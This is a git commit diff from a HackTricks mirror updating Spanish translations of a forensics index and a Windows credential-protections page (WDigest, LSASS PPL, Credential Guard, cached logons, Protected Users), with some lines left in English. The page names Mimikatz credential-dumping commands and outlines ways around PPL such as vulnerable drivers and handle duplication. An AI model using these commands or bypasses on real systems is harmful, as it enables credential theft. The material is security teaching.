mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/stealing-credentials/credentials-prot
This commit is contained in:
parent
099d4b988f
commit
30d8d6b540
@ -11,16 +11,16 @@
|
||||
|
||||
## Malware Analysis
|
||||
|
||||
This **isn't necessary the first step to perform once you have the image**. But you can use this malware analysis techniques independently if you have a file, a file-system image, memory image, pcap... so it's good to **keep these actions in mind**:
|
||||
Esto **no es necesariamente el primer paso a realizar una vez que tienes la imagen**. Pero puedes usar estas técnicas de malware analysis de forma independiente si tienes un archivo, una imagen de sistema de archivos, imagen de memoria, pcap... así que es bueno **tener estas acciones en mente**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
malware-analysis.md
|
||||
{{#endref}}
|
||||
|
||||
## Inspeccionar una Imagen
|
||||
## Inspección de una Imagen
|
||||
|
||||
si te entregan una **imagen forense** de un dispositivo puedes comenzar a **analizar las particiones, el sistema de archivos** utilizado y **recuperar** potencialmente **archivos interesantes** (incluso eliminados). Aprende cómo en:
|
||||
si te entregan una **imagen forense** de un dispositivo puedes empezar **a analizar las particiones, el sistema de archivos** usado y **recuperar** potencialmente **archivos interesantes** (incluso borrados). Aprende cómo en:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -38,23 +38,23 @@ partitions-file-systems-carving/
|
||||
|
||||
## Malware Analysis
|
||||
|
||||
This **isn't necessary the first step to perform once you have the image**. But you can use this malware analysis techniques independently if you have a file, a file-system image, memory image, pcap... so it's good to **keep these actions in mind**:
|
||||
Esto **no es necesariamente el primer paso a realizar una vez que tienes la imagen**. Pero puedes usar estas técnicas de malware analysis de forma independiente si tienes un archivo, una imagen de sistema de archivos, imagen de memoria, pcap... así que es bueno **tener estas acciones en mente**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
malware-analysis.md
|
||||
{{#endref}}
|
||||
|
||||
## Inspeccionar una Imagen
|
||||
## Inspección de una Imagen
|
||||
|
||||
si te entregan una **imagen forense** de un dispositivo puedes comenzar a **analizar las particiones, el sistema de archivos** utilizado y **recuperar** potencialmente **archivos interesantes** (incluso eliminados). Aprende cómo en:
|
||||
si te entregan una **imagen forense** de un dispositivo puedes empezar **a analizar las particiones, el sistema de archivos** usado y **recuperar** potencialmente **archivos interesantes** (incluso borrados). Aprende cómo en:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
partitions-file-systems-carving/
|
||||
{{#endref}}
|
||||
|
||||
Dependiendo de los sistemas operativos utilizados e incluso de la plataforma, deberían buscarse diferentes artefactos interesantes:
|
||||
Dependiendo de los OSs utilizados e incluso la plataforma, deberían buscarse diferentes artefactos interesantes:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -76,7 +76,7 @@ docker-forensics.md
|
||||
ios-backup-forensics.md
|
||||
{{#endref}}
|
||||
|
||||
## Inspección profunda de tipos de archivo y software específicos
|
||||
## Inspección profunda de tipos de archivo y Software específicos
|
||||
|
||||
Si tienes un archivo muy **sospechoso**, entonces **dependiendo del tipo de archivo y del software** que lo creó, varios **trucos** pueden ser útiles.\
|
||||
Lee la siguiente página para aprender algunos trucos interesantes:
|
||||
@ -91,9 +91,9 @@ Quiero hacer una mención especial a la página:
|
||||
|
||||
{{#ref}}
|
||||
specific-software-file-type-tricks/browser-artifacts.md
|
||||
{{#endref}
|
||||
{{#endref}}
|
||||
|
||||
## Inspección de volcado de memoria
|
||||
## Inspección de Volcados de Memoria
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -107,9 +107,9 @@ memory-dump-analysis/
|
||||
pcap-inspection/
|
||||
{{#endref}}
|
||||
|
||||
## **Técnicas Anti-Forenses**
|
||||
## **Técnicas Anti-Forense**
|
||||
|
||||
Ten en cuenta el posible uso de técnicas anti-forenses:
|
||||
Ten en cuenta el posible uso de técnicas anti-forense:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -125,7 +125,7 @@ file-integrity-monitoring.md
|
||||
|
||||
|
||||
|
||||
## Inspección profunda de tipos de archivo y software específicos
|
||||
## Inspección profunda de tipos de archivo y Software específicos
|
||||
|
||||
Si tienes un archivo muy **sospechoso**, entonces **dependiendo del tipo de archivo y del software** que lo creó, varios **trucos** pueden ser útiles.\
|
||||
Lee la siguiente página para aprender algunos trucos interesantes:
|
||||
@ -142,7 +142,7 @@ Quiero hacer una mención especial a la página:
|
||||
specific-software-file-type-tricks/browser-artifacts.md
|
||||
{{#endref}}
|
||||
|
||||
## Inspección de volcado de memoria
|
||||
## Inspección de Volcados de Memoria
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -156,9 +156,9 @@ memory-dump-analysis/
|
||||
pcap-inspection/
|
||||
{{#endref}}
|
||||
|
||||
## **Técnicas Anti-Forenses**
|
||||
## **Técnicas Anti-Forense**
|
||||
|
||||
Ten en cuenta el posible uso de técnicas anti-forenses:
|
||||
Ten en cuenta el posible uso de técnicas anti-forense:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
|
@ -1,119 +1,174 @@
|
||||
# Protección de Credenciales en Windows
|
||||
|
||||
## Protección de Credenciales
|
||||
# Protecciones de credenciales de Windows
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## WDigest
|
||||
|
||||
El [WDigest](<https://technet.microsoft.com/pt-pt/library/cc778868(v=ws.10).aspx?f=255&MSPPError=-2147217396>) protocolo, introducido con Windows XP, está diseñado para la autenticación a través del Protocolo HTTP y está **habilitado por defecto en Windows XP hasta Windows 8.0 y Windows Server 2003 hasta Windows Server 2012**. Esta configuración predeterminada resulta en **almacenamiento de contraseñas en texto plano en LSASS** (Servicio de Subsistema de Autoridad de Seguridad Local). Un atacante puede usar Mimikatz para **extraer estas credenciales** ejecutando:
|
||||
The [WDigest](<https://technet.microsoft.com/pt-pt/library/cc778868(v=ws.10).aspx?f=255&MSPPError=-2147217396>) protocol, introduced with Windows XP, is designed for authentication via the HTTP Protocol and is **enabled by default on Windows XP through Windows 8.0 and Windows Server 2003 to Windows Server 2012**. This default setting results in **plain-text password storage in LSASS** (Servicio del Subsistema de la Autoridad de Seguridad Local). An attacker can use Mimikatz to **extract these credentials** by executing:
|
||||
```bash
|
||||
sekurlsa::wdigest
|
||||
```
|
||||
Para **activar o desactivar esta función**, las claves de registro _**UseLogonCredential**_ y _**Negotiate**_ dentro de _**HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest**_ deben estar configuradas en "1". Si estas claves están **ausentes o configuradas en "0"**, WDigest está **deshabilitado**:
|
||||
Para **activar o desactivar esta característica**, las claves de registro _**UseLogonCredential**_ y _**Negotiate**_ dentro de _**HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest**_ deben establecerse en "1". Si estas claves están **ausentes o establecidas en "0"**, WDigest está **deshabilitado**:
|
||||
```bash
|
||||
reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential
|
||||
```
|
||||
## Protección LSA (procesos protegidos PP y PPL)
|
||||
|
||||
**Proceso Protegido (PP)** y **Proceso Protegido Ligero (PPL)** son **protecciones a nivel de kernel de Windows** diseñadas para prevenir el acceso no autorizado a procesos sensibles como **LSASS**. Introducido en **Windows Vista**, el **modelo PP** fue creado originalmente para la aplicación de **DRM** y solo permitía que los binarios firmados con un **certificado de medios especial** fueran protegidos. Un proceso marcado como **PP** solo puede ser accedido por otros procesos que también sean **PP** y tengan un **nivel de protección igual o superior**, y aun así, **solo con derechos de acceso limitados** a menos que se permita específicamente.
|
||||
**Protected Process (PP)** y **Protected Process Light (PPL)** son **protecciones a nivel kernel de Windows** diseñadas para evitar el acceso no autorizado a procesos sensibles como **LSASS**. Introducido en **Windows Vista**, el **modelo PP** se creó originalmente para la aplicación de **DRM** y solo permitía que binarios firmados con un **certificado especial de medios** fueran protegidos. Un proceso marcado como **PP** solo puede ser accedido por otros procesos que también sean **PP** y tengan un **nivel de protección igual o superior**, y aun así, **solo con derechos de acceso limitados** a menos que se permita específicamente.
|
||||
|
||||
**PPL**, introducido en **Windows 8.1**, es una versión más flexible de PP. Permite **casos de uso más amplios** (por ejemplo, LSASS, Defender) al introducir **"niveles de protección"** basados en el campo **EKU (Uso Mejorado de Clave)** de la firma digital. El nivel de protección se almacena en el campo `EPROCESS.Protection`, que es una estructura `PS_PROTECTION` con:
|
||||
- **Tipo** (`Protected` o `ProtectedLight`)
|
||||
- **Firmante** (por ejemplo, `WinTcb`, `Lsa`, `Antimalware`, etc.)
|
||||
**PPL**, introducido en **Windows 8.1**, es una versión más flexible de PP. Permite **casos de uso más amplios** (por ejemplo, LSASS, Defender) al introducir **"niveles de protección"** basados en el campo EKU (Enhanced Key Usage) de la firma digital. El nivel de protección se almacena en el `EPROCESS.Protection`, que es una estructura `PS_PROTECTION` con:
|
||||
- **Type** (`Protected` or `ProtectedLight`)
|
||||
- **Signer** (por ejemplo, `WinTcb`, `Lsa`, `Antimalware`, etc.)
|
||||
|
||||
Esta estructura se empaqueta en un solo byte y determina **quién puede acceder a quién**:
|
||||
- **Valores de firmante más altos pueden acceder a los más bajos**
|
||||
- **Los PPL no pueden acceder a los PP**
|
||||
- **Los procesos no protegidos no pueden acceder a ningún PPL/PP**
|
||||
Esta estructura está empaquetada en un solo byte y determina **quién puede acceder a quién**:
|
||||
- **Valores de signer más altos pueden acceder a los más bajos**
|
||||
- **PPLs no pueden acceder a PPs**
|
||||
- **Procesos no protegidos no pueden acceder a ningún PPL/PP**
|
||||
|
||||
### Lo que necesitas saber desde una perspectiva ofensiva
|
||||
|
||||
- Cuando **LSASS se ejecuta como un PPL**, los intentos de abrirlo usando `OpenProcess(PROCESS_VM_READ | QUERY_INFORMATION)` desde un contexto de administrador normal **fallan con `0x5 (Acceso Denegado)`**, incluso si `SeDebugPrivilege` está habilitado.
|
||||
- Puedes **verificar el nivel de protección de LSASS** usando herramientas como Process Hacker o programáticamente leyendo el valor `EPROCESS.Protection`.
|
||||
- LSASS típicamente tendrá `PsProtectedSignerLsa-Light` (`0x41`), que solo puede ser accedido **por procesos firmados con un firmante de nivel superior**, como `WinTcb` (`0x61` o `0x62`).
|
||||
- PPL es una **restricción solo de espacio de usuario**; **el código a nivel de kernel puede eludirlo completamente**.
|
||||
- Que LSASS sea PPL **no previene el volcado de credenciales si puedes ejecutar shellcode de kernel** o **aprovechar un proceso de alto privilegio con acceso adecuado**.
|
||||
- **Configurar o eliminar PPL** requiere reinicio o **configuraciones de Secure Boot/UEFI**, que pueden persistir la configuración de PPL incluso después de que se reviertan los cambios en el registro.
|
||||
- Cuando **LSASS corre como PPL**, los intentos de abrirlo usando `OpenProcess(PROCESS_VM_READ | QUERY_INFORMATION)` desde un contexto admin normal **fallan con `0x5 (Access Denied)`**, incluso si `SeDebugPrivilege` está habilitado.
|
||||
- Puedes **comprobar el nivel de protección de LSASS** usando herramientas como Process Hacker o programáticamente leyendo el valor `EPROCESS.Protection`.
|
||||
- LSASS típicamente tendrá `PsProtectedSignerLsa-Light` (`0x41`), que solo puede ser accedido **por procesos firmados con un signer de nivel superior**, como `WinTcb` (`0x61` o `0x62`).
|
||||
- PPL es una **restricción solo en userland**; **el código a nivel kernel puede eludirla por completo**.
|
||||
- Que LSASS sea PPL no **impide el volcado de credenciales** si puedes ejecutar shellcode en kernel o **aprovechar un proceso de alto privilegio con el acceso apropiado**.
|
||||
- **Establecer o quitar PPL** requiere reinicio o configuraciones de Secure Boot/UEFI, las cuales pueden persistir el ajuste de PPL incluso después de revertir cambios en el registro.
|
||||
|
||||
### Crear un proceso PPL al lanzarlo (API documentada)
|
||||
|
||||
Windows expone una forma documentada para solicitar un nivel Protected Process Light para un proceso hijo durante su creación usando la lista extendida de atributos de startup. Esto no evita los requisitos de firma — la imagen objetivo debe estar firmada para la clase de signer solicitada.
|
||||
|
||||
Flujo mínimo en C/C++:
|
||||
```c
|
||||
// Request a PPL protection level for the child process at creation time
|
||||
// Requires Windows 8.1+ and a properly signed image for the selected level
|
||||
#include <windows.h>
|
||||
|
||||
int wmain(int argc, wchar_t **argv) {
|
||||
STARTUPINFOEXW si = {0};
|
||||
PROCESS_INFORMATION pi = {0};
|
||||
si.StartupInfo.cb = sizeof(si);
|
||||
|
||||
SIZE_T attrSize = 0;
|
||||
InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);
|
||||
si.lpAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attrSize);
|
||||
if (!si.lpAttributeList) return 1;
|
||||
|
||||
if (!InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attrSize)) return 1;
|
||||
|
||||
DWORD level = PROTECTION_LEVEL_ANTIMALWARE_LIGHT; // or WINDOWS_LIGHT/LSA_LIGHT/WINTCB_LIGHT
|
||||
if (!UpdateProcThreadAttribute(
|
||||
si.lpAttributeList, 0,
|
||||
PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL,
|
||||
&level, sizeof(level), NULL, NULL)) {
|
||||
return 1;
|
||||
}
|
||||
|
||||
DWORD flags = EXTENDED_STARTUPINFO_PRESENT;
|
||||
if (!CreateProcessW(L"C\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE,
|
||||
flags, NULL, NULL, &si.StartupInfo, &pi)) {
|
||||
// If the image isn't signed appropriately for the requested level,
|
||||
// CreateProcess will fail with ERROR_INVALID_IMAGE_HASH (577).
|
||||
return 1;
|
||||
}
|
||||
|
||||
// cleanup
|
||||
DeleteProcThreadAttributeList(si.lpAttributeList);
|
||||
HeapFree(GetProcessHeap(), 0, si.lpAttributeList);
|
||||
CloseHandle(pi.hThread);
|
||||
CloseHandle(pi.hProcess);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Notas y restricciones:
|
||||
- Usar `STARTUPINFOEX` con `InitializeProcThreadAttributeList` y `UpdateProcThreadAttribute(PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL, ...)`, luego pasar `EXTENDED_STARTUPINFO_PRESENT` a `CreateProcess*`.
|
||||
- El `DWORD` de protección puede configurarse en constantes como `PROTECTION_LEVEL_WINTCB_LIGHT`, `PROTECTION_LEVEL_WINDOWS`, `PROTECTION_LEVEL_WINDOWS_LIGHT`, `PROTECTION_LEVEL_ANTIMALWARE_LIGHT`, o `PROTECTION_LEVEL_LSA_LIGHT`.
|
||||
- El hijo solo se inicia como PPL si su imagen está firmada para esa clase de firmante; de lo contrario la creación del proceso falla, comúnmente con `ERROR_INVALID_IMAGE_HASH (577)` / `STATUS_INVALID_IMAGE_HASH (0xC0000428)`.
|
||||
- Esto no es un bypass — es una API soportada pensada para imágenes debidamente firmadas. Útil para endurecer herramientas o validar configuraciones protegidas por PPL.
|
||||
|
||||
Example CLI using a minimal loader:
|
||||
- Antimalware signer: `CreateProcessAsPPL.exe 3 C:\Tools\agent.exe --svc`
|
||||
- LSA-light signer: `CreateProcessAsPPL.exe 4 C:\Windows\System32\notepad.exe`
|
||||
|
||||
**Opciones para eludir las protecciones PPL:**
|
||||
|
||||
Si deseas volcar LSASS a pesar de PPL, tienes 3 opciones principales:
|
||||
1. **Usar un controlador de kernel firmado (por ejemplo, Mimikatz + mimidrv.sys)** para **eliminar la bandera de protección de LSASS**:
|
||||
Si quieres volcar LSASS a pesar de PPL, tienes 3 opciones principales:
|
||||
1. **Use a signed kernel driver (e.g., Mimikatz + mimidrv.sys)** to **remove LSASS’s protection flag**:
|
||||
|
||||

|
||||
|
||||
2. **Traer tu propio controlador vulnerable (BYOVD)** para ejecutar código de kernel personalizado y deshabilitar la protección. Herramientas como **PPLKiller**, **gdrv-loader** o **kdmapper** hacen esto factible.
|
||||
3. **Robar un manejador de LSASS existente** de otro proceso que lo tenga abierto (por ejemplo, un proceso de AV), luego **duplicarlo** en tu proceso. Esta es la base de la técnica `pypykatz live lsa --method handledup`.
|
||||
4. **Abusar de algún proceso privilegiado** que te permita cargar código arbitrario en su espacio de direcciones o dentro de otro proceso privilegiado, eludiendo efectivamente las restricciones de PPL. Puedes ver un ejemplo de esto en [bypassing-lsa-protection-in-userland](https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/) o [https://github.com/itm4n/PPLdump](https://github.com/itm4n/PPLdump).
|
||||
2. **Bring Your Own Vulnerable Driver (BYOVD)** to run custom kernel code and disable the protection. Tools like **PPLKiller**, **gdrv-loader**, or **kdmapper** make this feasible.
|
||||
3. **Steal an existing LSASS handle** from another process that has it open (e.g., an AV process), then **duplicate it** into your process. This is the basis of the `pypykatz live lsa --method handledup` technique.
|
||||
4. **Abuse some privileged process** that will allow you to load arbitrary code into its address space or inside another privileged process, effectively bypassing the PPL restrictions. You can check an example of this in [bypassing-lsa-protection-in-userland](https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/) or [https://github.com/itm4n/PPLdump](https://github.com/itm4n/PPLdump).
|
||||
|
||||
**Verificar el estado actual de la protección LSA (PPL/PP) para LSASS**:
|
||||
**Check current status of LSA protection (PPL/PP) for LSASS**:
|
||||
```bash
|
||||
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL
|
||||
```
|
||||
Cuando ejecutas **`mimikatz privilege::debug sekurlsa::logonpasswords`** probablemente fallará con el código de error `0x00000005` debido a esto.
|
||||
Cuando ejecutes **`mimikatz privilege::debug sekurlsa::logonpasswords`** probablemente falle con el código de error `0x00000005` por esto.
|
||||
|
||||
- Para más información sobre esta verificación [https://itm4n.github.io/lsass-runasppl/](https://itm4n.github.io/lsass-runasppl/)
|
||||
|
||||
- Para más información sobre esto, consulta [https://itm4n.github.io/lsass-runasppl/](https://itm4n.github.io/lsass-runasppl/)
|
||||
|
||||
## Credential Guard
|
||||
|
||||
**Credential Guard**, una característica exclusiva de **Windows 10 (ediciones Enterprise y Education)**, mejora la seguridad de las credenciales de la máquina utilizando **Virtual Secure Mode (VSM)** y **Virtualization Based Security (VBS)**. Aprovecha las extensiones de virtualización de la CPU para aislar procesos clave dentro de un espacio de memoria protegido, lejos del alcance del sistema operativo principal. Este aislamiento asegura que incluso el kernel no pueda acceder a la memoria en VSM, protegiendo efectivamente las credenciales de ataques como **pass-the-hash**. La **Local Security Authority (LSA)** opera dentro de este entorno seguro como un trustlet, mientras que el proceso **LSASS** en el sistema operativo principal actúa meramente como un comunicador con la LSA de VSM.
|
||||
**Credential Guard**, una característica exclusiva de **Windows 10 (ediciones Enterprise y Education)**, mejora la seguridad de las credenciales del equipo usando **Virtual Secure Mode (VSM)** y **Virtualization Based Security (VBS)**. Aprovecha las extensiones de virtualización del CPU para aislar procesos clave dentro de un espacio de memoria protegido, fuera del alcance del sistema operativo principal. Este aislamiento garantiza que incluso el kernel no pueda acceder a la memoria en VSM, protegiendo así las credenciales frente a ataques como **pass-the-hash**. La **Autoridad de seguridad local (LSA)** opera dentro de este entorno seguro como un trustlet, mientras que el proceso **LSASS** en el SO principal actúa únicamente como comunicador con la LSA del VSM.
|
||||
|
||||
Por defecto, **Credential Guard** no está activo y requiere activación manual dentro de una organización. Es crítico para mejorar la seguridad contra herramientas como **Mimikatz**, que se ven obstaculizadas en su capacidad para extraer credenciales. Sin embargo, las vulnerabilidades aún pueden ser explotadas mediante la adición de **Security Support Providers (SSP)** personalizados para capturar credenciales en texto claro durante los intentos de inicio de sesión.
|
||||
Por defecto, **Credential Guard** no está activo y requiere activación manual en una organización. Es crucial para mejorar la seguridad frente a herramientas como **Mimikatz**, las cuales ven limitada su capacidad de extraer credenciales. Sin embargo, aún pueden explotarse vulnerabilidades mediante la adición de **Proveedores de soporte de seguridad (SSP)** personalizados para capturar credenciales en clear text durante los intentos de inicio de sesión.
|
||||
|
||||
Para verificar el estado de activación de **Credential Guard**, se puede inspeccionar la clave del registro _**LsaCfgFlags**_ bajo _**HKLM\System\CurrentControlSet\Control\LSA**_. Un valor de "**1**" indica activación con **UEFI lock**, "**2**" sin bloqueo, y "**0**" denota que no está habilitado. Esta verificación del registro, aunque es un fuerte indicador, no es el único paso para habilitar Credential Guard. Se dispone de orientación detallada y un script de PowerShell para habilitar esta característica en línea.
|
||||
Para verificar el estado de activación de **Credential Guard**, se puede inspeccionar la clave del registro _**LsaCfgFlags**_ bajo _**HKLM\System\CurrentControlSet\Control\LSA**_. Un valor de "**1**" indica activación con **UEFI lock**, "**2**" sin lock, y "**0**" indica que no está habilitado. Esta comprobación del registro, aunque es un indicador fuerte, no es el único paso para habilitar Credential Guard. Hay guías detalladas y un script de PowerShell para habilitar esta característica disponibles en línea.
|
||||
```bash
|
||||
reg query HKLM\System\CurrentControlSet\Control\LSA /v LsaCfgFlags
|
||||
```
|
||||
Para una comprensión completa e instrucciones sobre cómo habilitar **Credential Guard** en Windows 10 y su activación automática en sistemas compatibles de **Windows 11 Enterprise y Education (versión 22H2)**, visita [la documentación de Microsoft](https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-manage).
|
||||
Para una comprensión completa e instrucciones sobre cómo habilitar **Credential Guard** en Windows 10 y su activación automática en sistemas compatibles de **Windows 11 Enterprise and Education (versión 22H2)**, visite la [documentación de Microsoft](https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-manage).
|
||||
|
||||
Se proporcionan más detalles sobre la implementación de SSPs personalizados para la captura de credenciales en [esta guía](../active-directory-methodology/custom-ssp.md).
|
||||
Detalles adicionales sobre la implementación de SSPs personalizados para la captura de credenciales se proporcionan en [esta guía](../active-directory-methodology/custom-ssp.md).
|
||||
|
||||
## Modo RestrictedAdmin de RDP
|
||||
## Modo Restricted Admin de RDP
|
||||
|
||||
**Windows 8.1 y Windows Server 2012 R2** introdujeron varias nuevas características de seguridad, incluido el _**modo Restricted Admin para RDP**_. Este modo fue diseñado para mejorar la seguridad al mitigar los riesgos asociados con los ataques de [**pass the hash**](https://blog.ahasayen.com/pass-the-hash/).
|
||||
**Windows 8.1 y Windows Server 2012 R2** introdujeron varias nuevas características de seguridad, incluyendo el _**Restricted Admin mode for RDP**_. Este modo fue diseñado para mejorar la seguridad mitigando los riesgos asociados con los ataques [**pass the hash**](https://blog.ahasayen.com/pass-the-hash/).
|
||||
|
||||
Tradicionalmente, al conectarse a una computadora remota a través de RDP, sus credenciales se almacenan en la máquina objetivo. Esto representa un riesgo de seguridad significativo, especialmente al usar cuentas con privilegios elevados. Sin embargo, con la introducción del _**modo Restricted Admin**_, este riesgo se reduce sustancialmente.
|
||||
Tradicionalmente, al conectarse a un equipo remoto mediante RDP, sus credenciales se almacenan en la máquina de destino. Esto representa un riesgo de seguridad significativo, especialmente al usar cuentas con privilegios elevados. Sin embargo, con la introducción del _**Restricted Admin mode**_, este riesgo se reduce sustancialmente.
|
||||
|
||||
Al iniciar una conexión RDP utilizando el comando **mstsc.exe /RestrictedAdmin**, la autenticación a la computadora remota se realiza sin almacenar sus credenciales en ella. Este enfoque asegura que, en caso de una infección de malware o si un usuario malicioso obtiene acceso al servidor remoto, sus credenciales no se vean comprometidas, ya que no están almacenadas en el servidor.
|
||||
Al iniciar una conexión RDP usando el comando **mstsc.exe /RestrictedAdmin**, la autenticación al equipo remoto se realiza sin almacenar sus credenciales en él. Este enfoque garantiza que, en caso de una infección por malware o si un usuario malicioso obtiene acceso al servidor remoto, sus credenciales no se comprometan, ya que no se almacenan en el servidor.
|
||||
|
||||
Es importante tener en cuenta que en **modo Restricted Admin**, los intentos de acceder a recursos de red desde la sesión RDP no utilizarán sus credenciales personales; en su lugar, se utiliza la **identidad de la máquina**.
|
||||
Es importante notar que en **Restricted Admin mode**, los intentos de acceder a recursos de red desde la sesión RDP no usarán sus credenciales personales; en su lugar, se utiliza la **identidad de la máquina**.
|
||||
|
||||
Esta característica marca un avance significativo en la seguridad de las conexiones de escritorio remoto y en la protección de información sensible de ser expuesta en caso de una violación de seguridad.
|
||||
Esta característica representa un avance significativo para asegurar las conexiones de escritorio remoto y proteger información sensible de exponerse en caso de una brecha de seguridad.
|
||||
|
||||

|
||||
|
||||
Para obtener más información detallada, visita [este recurso](https://blog.ahasayen.com/restricted-admin-mode-for-rdp/).
|
||||
Para obtener información más detallada visite [este recurso](https://blog.ahasayen.com/restricted-admin-mode-for-rdp/).
|
||||
|
||||
## Credenciales en caché
|
||||
|
||||
Windows asegura **credenciales de dominio** a través de la **Autoridad de Seguridad Local (LSA)**, apoyando procesos de inicio de sesión con protocolos de seguridad como **Kerberos** y **NTLM**. Una característica clave de Windows es su capacidad para almacenar en caché los **últimos diez inicios de sesión de dominio** para garantizar que los usuarios aún puedan acceder a sus computadoras incluso si el **controlador de dominio está fuera de línea**—una ventaja para los usuarios de laptops que a menudo están fuera de la red de su empresa.
|
||||
Windows protege las **credenciales de dominio** a través de la **Local Security Authority (LSA)**, soportando procesos de inicio de sesión con protocolos de seguridad como **Kerberos** y **NTLM**. Una característica clave de Windows es su capacidad para almacenar en caché los **últimos diez inicios de sesión de dominio** para asegurar que los usuarios aún puedan acceder a sus equipos incluso si el **controlador de dominio está sin conexión**—algo útil para usuarios con laptops que frecuentemente están fuera de la red de la empresa.
|
||||
|
||||
El número de inicios de sesión en caché es ajustable a través de una **clave de registro o política de grupo** específica. Para ver o cambiar esta configuración, se utiliza el siguiente comando:
|
||||
El número de inicios de sesión en caché se puede ajustar mediante una clave de **registro** específica o una **directiva de grupo**. Para ver o cambiar esta configuración, se utiliza el siguiente comando:
|
||||
```bash
|
||||
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
|
||||
```
|
||||
El acceso a estas credenciales en caché está estrictamente controlado, con solo la cuenta **SYSTEM** teniendo los permisos necesarios para verlas. Los administradores que necesiten acceder a esta información deben hacerlo con privilegios de usuario SYSTEM. Las credenciales se almacenan en: `HKEY_LOCAL_MACHINE\SECURITY\Cache`
|
||||
El acceso a estas credenciales en caché está estrictamente controlado, y solo la cuenta **SYSTEM** tiene los permisos necesarios para verlas. Los administradores que necesiten acceder a esta información deben hacerlo con privilegios de usuario SYSTEM. Las credenciales se almacenan en: `HKEY_LOCAL_MACHINE\SECURITY\Cache`
|
||||
|
||||
**Mimikatz** se puede emplear para extraer estas credenciales en caché utilizando el comando `lsadump::cache`.
|
||||
**Mimikatz** puede emplearse para extraer estas credenciales en caché usando el comando `lsadump::cache`.
|
||||
|
||||
Para más detalles, la [fuente](http://juggernaut.wikidot.com/cached-credentials) original proporciona información completa.
|
||||
Para más detalles, la [source](http://juggernaut.wikidot.com/cached-credentials) original proporciona información completa.
|
||||
|
||||
## Usuarios Protegidos
|
||||
## Protected Users
|
||||
|
||||
La membresía en el **grupo de Usuarios Protegidos** introduce varias mejoras de seguridad para los usuarios, asegurando niveles más altos de protección contra el robo y el uso indebido de credenciales:
|
||||
La pertenencia al **Protected Users group** introduce varias mejoras de seguridad para los usuarios, garantizando mayores niveles de protección contra el robo y el uso indebido de credenciales:
|
||||
|
||||
- **Delegación de Credenciales (CredSSP)**: Incluso si la configuración de Directiva de Grupo para **Permitir delegar credenciales predeterminadas** está habilitada, las credenciales en texto plano de los Usuarios Protegidos no se almacenarán en caché.
|
||||
- **Windows Digest**: A partir de **Windows 8.1 y Windows Server 2012 R2**, el sistema no almacenará en caché las credenciales en texto plano de los Usuarios Protegidos, independientemente del estado de Windows Digest.
|
||||
- **NTLM**: El sistema no almacenará en caché las credenciales en texto plano de los Usuarios Protegidos ni funciones unidireccionales NT (NTOWF).
|
||||
- **Kerberos**: Para los Usuarios Protegidos, la autenticación Kerberos no generará claves **DES** o **RC4**, ni almacenará en caché credenciales en texto plano o claves a largo plazo más allá de la adquisición inicial del Ticket-Granting Ticket (TGT).
|
||||
- **Inicio de Sesión Offline**: No se creará un verificador en caché para los Usuarios Protegidos al iniciar sesión o desbloquear, lo que significa que el inicio de sesión offline no es compatible con estas cuentas.
|
||||
- **Credential Delegation (CredSSP)**: Incluso si la configuración de Group Policy **Allow delegating default credentials** está habilitada, las credenciales en texto plano de los Protected Users no serán almacenadas en caché.
|
||||
- **Windows Digest**: A partir de **Windows 8.1 and Windows Server 2012 R2**, el sistema no almacenará en caché las credenciales en texto plano de los Protected Users, independientemente del estado de Windows Digest.
|
||||
- **NTLM**: El sistema no almacenará en caché las credenciales en texto plano de los Protected Users ni las funciones unidireccionales NT (NTOWF).
|
||||
- **Kerberos**: Para los Protected Users, la autenticación Kerberos no generará claves **DES** o **RC4**, ni almacenará en caché credenciales en texto plano o claves de largo plazo más allá de la adquisición inicial del Ticket-Granting Ticket (TGT).
|
||||
- **Offline Sign-In**: A los Protected Users no se les creará un verificador en caché al iniciar sesión o desbloquear, lo que significa que el inicio de sesión sin conexión no está soportado para estas cuentas.
|
||||
|
||||
Estas protecciones se activan en el momento en que un usuario, que es miembro del **grupo de Usuarios Protegidos**, inicia sesión en el dispositivo. Esto asegura que se implementen medidas de seguridad críticas para proteger contra varios métodos de compromiso de credenciales.
|
||||
Estas protecciones se activan en el momento en que un usuario, que es miembro del **Protected Users group**, inicia sesión en el dispositivo. Esto asegura que medidas de seguridad críticas estén en marcha para proteger contra varios métodos de compromiso de credenciales.
|
||||
|
||||
Para obtener información más detallada, consulte la [documentación](https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/protected-users-security-group) oficial.
|
||||
Para más información detallada, consulte la [documentation](https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/protected-users-security-group).
|
||||
|
||||
**Tabla de** [**los docs**](https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-c--protected-accounts-and-groups-in-active-directory)**.**
|
||||
